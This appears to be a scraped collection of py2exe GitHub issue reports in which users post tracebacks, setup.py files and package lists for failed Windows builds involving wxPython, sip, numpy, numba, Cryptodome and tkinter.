  File "C:\Projects\pyenv\lib\site-packages\py2exe\mf3.py", line 451, in _scan_opcodes
    assert instructions[-2].opcode == LOAD_CONST

AssertionError

my test.py:

from wx.lib.agw import ultimatelistctrl
print('hello')

my py2exe file:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test.py",},],)

I compile using:
python py2exe_test.py py2exe

python version:
Python 3.6.8 (tags/v3.6.8:3c6b436a57, Dec 24 2018, 00:16:47) [MSC v.1916 64 bit (AMD64)] on win32

my pip list:

Package    Version
---------- -------
Pillow     6.0.0
pip        19.0.3
py2exe     0.9.3.0
setuptools 40.6.2
six        1.12.0
wxPython   4.0.4

Import Error: sip

I have downloaded the latest py2exe 0.9.3.2 wheel from releases and pip installed it on Windows platform.

Python Version: 3.7.5
Py2exe Version: 0.9.3.2

python setup.py py2exe --includes sip returns the error : "ImportError: sip"

SIP Error

After getting some help from StackOverflow etc..
I have tried using the suggested fixes-

  1. Include sip in setup.py options like this :
    setup( options={"py2exe":{"includes":["sip"]}})
    OR
  2. Use --includes sip flag like this:
    python setup.py install --includes sip

But it still returns the same error. Any advise or help would be greatly appreciated.

wxPython fails to properly add the right modules, forcing adding it to 'packages' option

A new issue where py2exe fails to add the correct modules of wxPython.
Not sure if this is the result of the new py2exe or the new wxPython but in previous versions it did not occur.

My test7.py:

from wx.richtext import RichTextCtrl
print('hello')

My py2exe_test7.py:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test7.py",},],
       options={"py2exe": {
              "includes":['imp'],
       }})

If trying to run test7.exe I get the folowing error:

Traceback (most recent call last):
  File "test7.py", line 1, in <module>
  File "C:\Projects\py2exe\pyenv\lib\site-packages\wx\richtext.py", line 17, in <module>
    from ._richtext import *
  File "<loader>", line 10, in <module>
  File "<loader>", line 8, in __load
ImportError: (No module named 'wx._adv') 'C:\\Projects\\py2exe\\dist\\wx._richtext.pyd'

To solve this I add wx to packages like this:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test7.py",},],
       options={"py2exe": {
              "includes":['imp'],
              'packages':['wx',]
       }})

It solves the issue but results in many unnecessary files in the dist folder

My pip freeze:

numpy==1.16.2
Pillow==6.0.0
py2exe==0.9.3.1
pypiwin32==223
pywin32==224
six==1.12.0
wxPython==4.0.4

Error when using numpy or numba with py2exe

Hi and thanks for py2exe. It's a really cool piece of code. It can't handle numba or numpy though.
The error for numpy is:
Traceback (most recent call last):
File "zipextimporter.pyc", line 87, in load_module
zipimport.ZipImportError: can't find module 'numpy.random.mtrand'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "test.py", line 1, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in load_backward_compatible
File "zipextimporter.pyc", line 87, in load_module
File "numpy_init
.pyc", line 150, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in load_backward_compatible
File "zipextimporter.pyc", line 87, in load_module
File "numpy\random_init
.pyc", line 181, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in _load_backward_compatible
File "zipextimporter.pyc", line 87, in load_module
File "numpy\random_pickle.pyc", line 1, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in _load_backward_compatible
File "zipextimporter.pyc", line 112, in load_module
SystemError: initialization of numpy.random.mtrand did not return an extension module

If I try to use numba:
Traceback (most recent call last):
File "test.py", line 1, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in load_backward_compatible
File "zipextimporter.pyc", line 87, in load_module
File "numba_init
.pyc", line 15, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in _load_backward_compatible
File "zipextimporter.pyc", line 87, in load_module
File "numba\config.pyc", line 18, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in load_backward_compatible
File "zipextimporter.pyc", line 87, in load_module
File "llvmlite\binding_init
.pyc", line 6, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in _load_backward_compatible
File "zipextimporter.pyc", line 87, in load_module
File "llvmlite\binding\dylib.pyc", line 4, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in _load_backward_compatible
File "zipextimporter.pyc", line 87, in load_module
File "llvmlite\binding\ffi.pyc", line 154, in
OSError: Could not load shared object file: llvmlite.dll
It looks like py2exe didn't include llvmlite.dll, which is required by llvmlite.
Also, Cryptodome or at least Cryptodome.Cipher.AES can't be used:
Traceback (most recent call last):
File "test.py", line 1, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in load_backward_compatible
File "Cryptodome\Cipher_init
.pyc", line 27, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in _load_backward_compatible
File "Cryptodome\Cipher_mode_ecb.pyc", line 47, in
File "Cryptodome\Util_raw_api.pyc", line 300, in load_pycryptodome_raw_lib
OSError: Cannot load native module 'Cryptodome.Cipher._raw_ecb': Trying '_raw_ecb.cp37-win32.pyd': cannot load library 'C:\py\dist\test.exe\Cryptodome\Util..\Cipher_raw_ecb.cp37-win32.pyd': error 0x7e. Additionally, ctypes.util.find_library() did not manage to locate a library called 'C:\py\dist\test.exe\Cryptodome\Util\..\Cipher\_raw_ecb.cp37-win32.pyd', Trying '_raw_ecb.pyd': cannot load library 'C:\py\dist\test.exe\Cryptodome\Util..\Cipher_raw_ecb.pyd': error 0x7e. Additionally, ctypes.util.find_library() did not manage to locate a library called 'C:\py\dist\test.exe\Cryptodome\Util\..\Cipher\_raw_ecb.pyd'

Thanks!

RuntimeError: should read __file__ to get the source???

package.py

from distutils.core import setup
import py2exe

includes = ["encodings", "sip"]

options = {"py2exe":
{"compressed": 1,
"optimize": 2,
"includes": includes,
"bundle_files": 1
}
}
setup(
options=options,
zipfile=None,
windows=[{"script": "EmailPC.py", "icon_resources": [(1, "icon.ico")]}]
)

error info

File "package.py", line 44, in
windows=[{"script": "EmailPC.py", "icon_resources": [(1, "icon.ico")]}]
File "D:\Python\Python37\lib\distutils\core.py", line 148, in setup
dist.run_commands()
File "D:\Python\Python37\lib\distutils\dist.py", line 966, in run_commands
self.run_command(cmd)
File "D:\Python\Python37\lib\distutils\dist.py", line 985, in run_command
cmd_obj.run()
File "D:\Python\Python37\lib\site-packages\py2exe\distutils_buildexe.py", line 192, in run
self._run()
File "D:\Python\Python37\lib\site-packages\py2exe\distutils_buildexe.py", line 272, in _run
builder.analyze()
File "D:\Python\Python37\lib\site-packages\py2exe\runtime.py", line 174, in analyze
target.analyze(mf)
File "D:\Python\Python37\lib\site-packages\py2exe\runtime.py", line 75, in analyze
modulefinder.run_script(self.script)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 88, in run_script
self._scan_code(mod.code, mod)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 428, in _scan_code
self.safe_import_hook(name, mod, fromlist, level)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 140, in safe_import_hook
self.import_hook(name, caller, fromlist, level)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 127, in import_hook
self._handle_fromlist(module, fromlist, caller)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 198, in _handle_fromlist
self._gcd_import('{}.{}'.format(mod.name, x))
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 276, in _gcd_import
return self._find_and_load(name)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 391, in _find_and_load
self._scan_code(module.code, module)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 428, in _scan_code
self.safe_import_hook(name, mod, fromlist, level)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 140, in safe_import_hook
self.import_hook(name, caller, fromlist, level)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 127, in import_hook
self._handle_fromlist(module, fromlist, caller)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 198, in _handle_fromlist
self._gcd_import('{}.{}'.format(mod.name, x))
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 276, in _gcd_import
return self._find_and_load(name)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 391, in _find_and_load
self._scan_code(module.code, module)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 428, in _scan_code
self.safe_import_hook(name, mod, fromlist, level)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 140, in safe_import_hook
self.import_hook(name, caller, fromlist, level)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 122, in import_hook
module = self._gcd_import(name)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 276, in _gcd_import
return self._find_and_load(name)
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 390, in _find_and_load
if module.code:
File "D:\Python\Python37\lib\site-packages\py2exe\mf3.py", line 708, in code
raise RuntimeError("should read file to get the source???")
RuntimeError: should read file to get the source???

py2exe error with Gui app

Hi,
I am using Python2.7 and My setup.py looks like this
from distutils.core import setup

import py2exe

setup (
name='dcd',
description="Script to test pubsub for packaging",
version="0.1",

console=[{'script': "dcd6.py",
           "icon_resources": [(1, "icon.ico")]
        }],
options={ 'py2exe': {
            'packages': 'encodings, pubsub,wx,sys,os,re,socket,ctypes,webbrowser,ftplib,time,threading,select,xml.etree.ElementTree,datetime',
            'includes': None}
        },
data_files=[("bitmaps",["logo.jpg"])],        
)   

in my dcd6.py script I have many imports like

import wx
import sys
import os
import re
import socket
import ctypes
import webbrowser
from ftplib import FTP
import time
from threading import Thread
#from wx.lib.pubsub import setupkwargs
import pubsub
from pubsub import pub
from wx.lib.mixins.listctrl import CheckListCtrlMixin
import sys
import select
import xml.etree.ElementTree as ET
import datetime


when i try to run py2exe I get this error
Kindly advise how can I fix it Many Thanks

C:\Python27\Dante Config Downloader>python setup.py py2exe
running py2exe
*** searching for required modules ***
Traceback (most recent call last):
File "setup.py", line 17, in
data_files=[("bitmaps",["logo.jpg"])],
File "C:\Python27\lib\distutils\core.py", line 151, in setup
dist.run_commands()
File "C:\Python27\lib\distutils\dist.py", line 953, in run_commands
self.run_command(cmd)
File "C:\Python27\lib\distutils\dist.py", line 972, in run_command
cmd_obj.run()
File "C:\Python27\lib\site-packages\py2exe\build_exe.py", line 243, in run
self._run()
File "C:\Python27\lib\site-packages\py2exe\build_exe.py", line 296, in _run
self.find_needed_modules(mf, required_files, required_modules)
File "C:\Python27\lib\site-packages\py2exe\build_exe.py", line 1333, in find_needed_modules
os.path.walk(path, visit, packages)
File "C:\Python27\lib\ntpath.py", line 266, in walk
names = os.listdir(top)
TypeError: coercing to Unicode: need string or buffer, NoneType found

Error when building exe

Hi @albertosottile, while using py2exe I encountered the following error and don't really understand what causing the error:
error: [WinError 3] The system cannot find the path specified: ''

Any idea what path it cannot find?

I am running Python version 3.7.6.
Here is my setup.py file: setup.py.zip

Here is the output from running python setup.py py2exe: py2exe-out.zip

Thank you

pip list:
argh 0.26.2
backcall 0.1.0
backports.ssl-match-hostname 3.2a3
blinker 1.4
certifi 2019.11.28
certsrv 2.1.1
cffi 1.14.0
chardet 3.0.4
Click 7.0
colorama 0.4.3
cryptography 2.8
decorator 4.4.1
Flask 1.1.1
greenlet 0.4.15
idna 2.8
ipython-genutils 0.2.0
itsdangerous 1.1.0
jedi 0.16.0
Jinja2 2.11.1
MarkupSafe 1.1.1
ntlm-auth 1.4.0
numpy 1.18.1
parso 0.6.1
pathtools 0.1.2
pickleshare 0.7.5
Pillow 7.0.0
pip 20.0.2
prompt-toolkit 3.0.3
py2exe 0.9.3.2
pycparser 2.19
Pygments 2.5.2
pyOpenSSL 19.1.0
PySocks 1.7.1
pythonping 1.0.8
pytz 2019.3
pywin32 227
PyYAML 5.3
requests 2.22.0
requests-ntlm 1.1.0
setuptools 41.2.0
six 1.14.0
traitlets 4.3.3
urllib3 1.25.8
watchdog 0.10.2
wcwidth 0.1.8
Werkzeug 1.0.0
win-inet-pton 1.1.0
wxPython 4.0.7.post2

SystemError: <method 'load_module' of 'zipimport.zipimporter' objects> returned NULL without setting an error

Hello, I ran python\setup.py py2exe on converter.py which imports rawpy and imageio (and os, glob), it seemed to work but when I ran converter.exe the following error occurred, numpy and Pillow seem to have been correctly imported

`Traceback (most recent call last):
  File "converter.py", line 1, in <module>
  File "<frozen importlib._bootstrap>", line 983, in _find_and_load
  File "<frozen importlib._bootstrap>", line 967, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 668, in _load_unlocked
  File "<frozen importlib._bootstrap>", line 638, in _load_backward_compatible
  File "C:\Users\rmhan\AppData\Local\Programs\Python\Python37\lib\site-packages\rawpy\__init__.py", line 5, in <module>
    import rawpy._rawpy
  File "<frozen importlib._bootstrap>", line 983, in _find_and_load
  File "<frozen importlib._bootstrap>", line 967, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 668, in _load_unlocked
  File "<frozen importlib._bootstrap>", line 638, in _load_backward_compatible
SystemError: <method 'load_module' of 'zipimport.zipimporter' objects> returned NULL without setting an error

I'm using python 3.7.0 and py2exe-0.9.3.1-cp37-none-win_amd64. The following is my setup.py

from distutils.core import setup
import py2exe

setup( console=[{ "script": 'C:'+'\\'+'Users'+'\\'+'rmhan'+'\\'+'conversion+'\\'+'converter.py'},],
       options={"py2exe": {
            "packages": ['rawpy','imageio'],}})

Thanks in advance.

VCRUNTIME140.dll embedded

Hi,

Would it be possible to embed VCRUNTIME140.dll in the single generated file, so pyinstall does?

pip install errors on Python 3.9

I am trying out Python 3.9.0 via WinPython, opening the WinPython Command Prompt and installing py2exe yields the below error. It should be noted that pefile and cachetools built and installed successfully up to this point.

Perhaps I missed a crucial step. Any help is appreciated.

System Information

  • Windows 10
  • Python 3.9.0
pip install pefile
pip install cachetools
pip install py2exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -DPYTHONDLL=\"python39.dll\" -D_CRT_SECURE_NO_WARNINGS=1 -DPy_BUILD_CORE=1 -IW:\PortableApps\Python39\python-3.9.0.amd64\include -IW:\PortableApps\Python39\python-3.9.0.amd64\include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\include -IC:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\include\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\cppwinrt /Tcsource/start.c /Fobuild\temp.win-amd64-3.9\Release\source/start.obj -IC:\Program Files\Microsoft SDKs\Windows\v7.0\Include -IC:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include -IC:\Program Files (x86)\Windows Kits\10\Include\10.0.10586.0\ucrt
    start.c
    source/start.c(284): error C2017: illegal escape sequence
    source/start.c(284): error C2001: newline in constant
    source/start.c(285): error C2143: syntax error: missing ')' before 'if'
    source/start.c(289): error C2065: 'hgbl': undeclared identifier
    source/start.c(289): warning C4047: '=': 'int' differs in levels of indirection from 'HGLOBAL'
    source/start.c(291): error C2065: 'hgbl': undeclared identifier
    source/start.c(291): warning C4022: 'LockResource': pointer mismatch for actual parameter 1
    source/start.c(292): error C2017: illegal escape sequence
    source/start.c(292): error C2001: newline in constant
    source/start.c(293): error C2143: syntax error: missing ')' before '}'
    source/start.c(292): error C2198: 'MyLoadLibrary': too few arguments for call
    source/start.c(299): error C2017: illegal escape sequence
    source/start.c(299): error C2001: newline in constant
    error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.27.29110\\bin\\HostX86\\x64\\cl.exe' failed with exit code 2

ModuleNotFoundError: No module named 'tkinter._fix'

Hello! I used the latest py2exe to package the py file. Meet this error:
ModuleNotFoundError: No module named 'tkinter._fix'.
My python version is 3.6.8. Compare the 3.4 and 3.6, I find that the tkinter._fix was remove in 3.6.
I try to revised the code of py2exe to solve the error. but failed.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.